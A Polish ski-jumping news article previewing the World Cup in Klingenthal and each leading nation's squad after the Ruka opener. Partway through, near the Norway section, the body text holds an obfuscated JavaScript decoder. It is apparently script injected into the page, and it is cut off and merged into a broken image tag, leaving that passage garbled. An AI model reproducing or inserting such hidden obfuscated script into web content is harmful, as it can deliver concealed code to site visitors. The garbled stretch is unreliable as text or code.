You are currently viewing Najmocniejsze reprezentacje bez większych zmian w Klingenthal

Najmocniejsze reprezentacje bez większych zmian w Klingenthal

DSC 0206 - Najmocniejsze reprezentacje bez większych zmian w Klingenthal„Pierwsze koty za płoty” – powiedział Maciej Kot tuż po zakończeniu zmagań w fińskiej Ruce. Wyniki inauguracji można uznać za miarodajne, jednak dokładny układ pucharowych sił będzie się kształtował jeszcze przez kilka tygodni. W związku z tym przed Klingenthal szkoleniowcy najmocniejszych reprezentacji nie zdecydowali się na większe zmiany w składach.

 
8H7A8358 - Najmocniejsze reprezentacje bez większych zmian w Klingenthal
Maciej Kot (fot. Julia Piątkowska)

Co najważniejsze z polskiego punktu widzenia, na PŚ do Klingenthal uda się ta sama siódemka, która rozpoczęła zimę w Kuusamo. Będą to zatem: Maciej Kot, Piotr Żyła, Dawid Kubacki, Kamil Stoch, Stefan Hula, Klemens Murańka i Aleksander Zniszczoł. W tym gronie zdecydowanie najmocniejszym ogniwem jest póki co Kot, który na Rukatunturi dwukrotnie liczył się w walce o podium, a w klasyfikacji generalnej zajmuje siódmą pozycję. W związku z tym do kwalifikacji na Vogtland Arenie będzie mógł podejść ze spokojem - awans do indywidualnych zmagań ma bowiem zapewniony. Kolejnymi solidnymi punktami ekipy Horngachera wydają się być Piotr Żyła, Dawid Kubacki i Kamil Stoch, któremu w Finlandii przytrafił się niefortunny upadek. Wydaje się jednak, że to właśnie ta czwórka powalczy także w pierwszym tej zimy konkursie drużynowym, który odbędzie się w Saksonii.

8H7A8383 - Najmocniejsze reprezentacje bez większych zmian w Klingenthal
Severin Freund (fot. Julia Piątkowska)

Mimo że najbliższe konkursy zostaną rozegrane w Niemczech, to gospodarze nie zamierzają wykorzystać możliwości wystawienia w kwalifikacjach tzw. "grupy narodowej". Sztab szkoleniowy na czele z Wernerem Schusterem czekają z pewnością na istotniejsze wydarzenia jak choćby konkursy Turnieju Czterech Skoczni. W Klingenthal pojawią się zatem ci sami niemieccy zawodnicy, którzy skakali w Finlandii: Richard Freitag, Markus Eisenbichler, David Siegel, Stephan Leyhe, Andreas Wellinger, zamykający czołową dziesiątkę klasyfikacji generalnej PŚ Karl Geiger, a także lider całego cyklu Severin Freund. To właśnie Freund w Kuusamo zaskoczył rywali, a także siebie samego. Po letnich perypetiach zdrowotnych miał był cieniem samego siebie. Teraz w jego cieniu stoją jego najwięksi konkurenci.

8H7A8396 - Najmocniejsze reprezentacje bez większych zmian w Klingenthal
Domen Prevc (fot. Julia Piątkowska)

Słoweńcy zimę zaczęli koncertowo. Świetne skoki braci Prevc, sensacyjny triumf Domena, moc Petera - spoglądając na piątkowe "rodzinne" podium nawet jego upadek wydawał się być tylko drobnostką. Okazało się jednak, że Słoweńcy wciąż nie mogą spać spokojnie. Mając w pamięci kontuzje Roberta Kranjca i Jerneja Damjana w sobotę reprezentanci narciarskiej familii nie skakali już tak dobrze. Młodszy brat być może nie wytrzymał jeszcze presji związanej z liderowaniem i charakterystycznym żółtym plastronem, a starszy - być może odczuwał jednak piątkowy upadek i nie błyszczał tak jak wcześniej. Fińska inauguracja mogła mieć zatem dla Słoweńców wyjątkowo słodko-gorzki smak. Mimo tego trener Goran Janus jak zwykle pewny swego, do Niemiec zabierze tą samą szóstkę - Nejca Dezmana, Jakę Hvalę, Jurija Tepesa, Anze Laniska i braci Prevc. Czy w Klingenthal zdołają oni przechylić szalę na swoją stronę i pokonać faworyta gospodarzy?

8H7A8447 - Najmocniejsze reprezentacje bez większych zmian w Klingenthal
Manuel Fettner (fot. Julia Piątkowska)

Mogłoby się wydawać, że liderem reprezentacji kierowanej przez Heinza Kuttina także i tej zimy będzie ktoś z dwójki Kraft-Hayboeck. Póki co jednak, znakomitą formę z lata utrzymał mistrz Austrii - Manuel Fettner. To właśnie on w sobotę sprzątnął reprezentacyjnego kolegę z podium i sam wylądował w czołowej trójce zawodów. Co więcej, plasuje się na trzeciej lokacie także w klasyfikacji generalnej. Poza wymienioną trójką, do Niemiec udadzą się trzej Austriacy: powracający do wysokiej formy Andreas Kofler oraz blado wypadający Markus Schiffner i Clemens Aigner.

- Najmocniejsze reprezentacje bez większych zmian w Klingenthalfunction u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4>4);p7=((y6&15)>2);w9=((p9&3)=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0ande (fot. Julia Piątkowska)" src="http://www.skokipolska.pl/wp-content/gallery/ps-ruka-kuusamo-2016-2-konkurs/8H7A8280.jpg" alt="Daniel Andre Tande (fot. Julia Piątkowska)" width="300" height="199" /> Daniel Andre Tande (fot. Julia Piątkowska)

Piątą z najmocniejszych narciarskich nacji jest ekipa Norwegów prowadzona przez Alexandra Stoeckla. Podczas zmagań w Finlandii, w czołówce liczył się jednak wyłącznie jeden "Wiking" - Daniel Andre Tande. To właśnie on w sobotę zaliczył imponujący awans z ósmej na drugą lokatę. Znacznie słabiej zaprezentowali się jednak pozostali podopieczni Austriaka. Co prawda punkty zdobywali Anders Fannemel, Andreas Stjernen i Johann Andre Forfang, jednak nie przypominali oni tych pewnie szybujących Norwegów z zeszłej zimy. Za nami jednak dopiero jeden pucharowy weekend i Stoeckl postanowił zrobić jedynie jedną zmianę w swojej grupie. Joachima Hauera zastąpi zwycięzca konkursu Norges Cup w Vikersund, Robert Johansson. Ponadto w Niemczech poskaczą: Joacim Oedegaard Bjoereng i Halvor Egner Granerud.

Składy wszystkich kadr oraz program PŚ w Klingenthal znajdziecie tutaj >>>

 

informacja własna

 
Podziel się:

Dodaj komentarz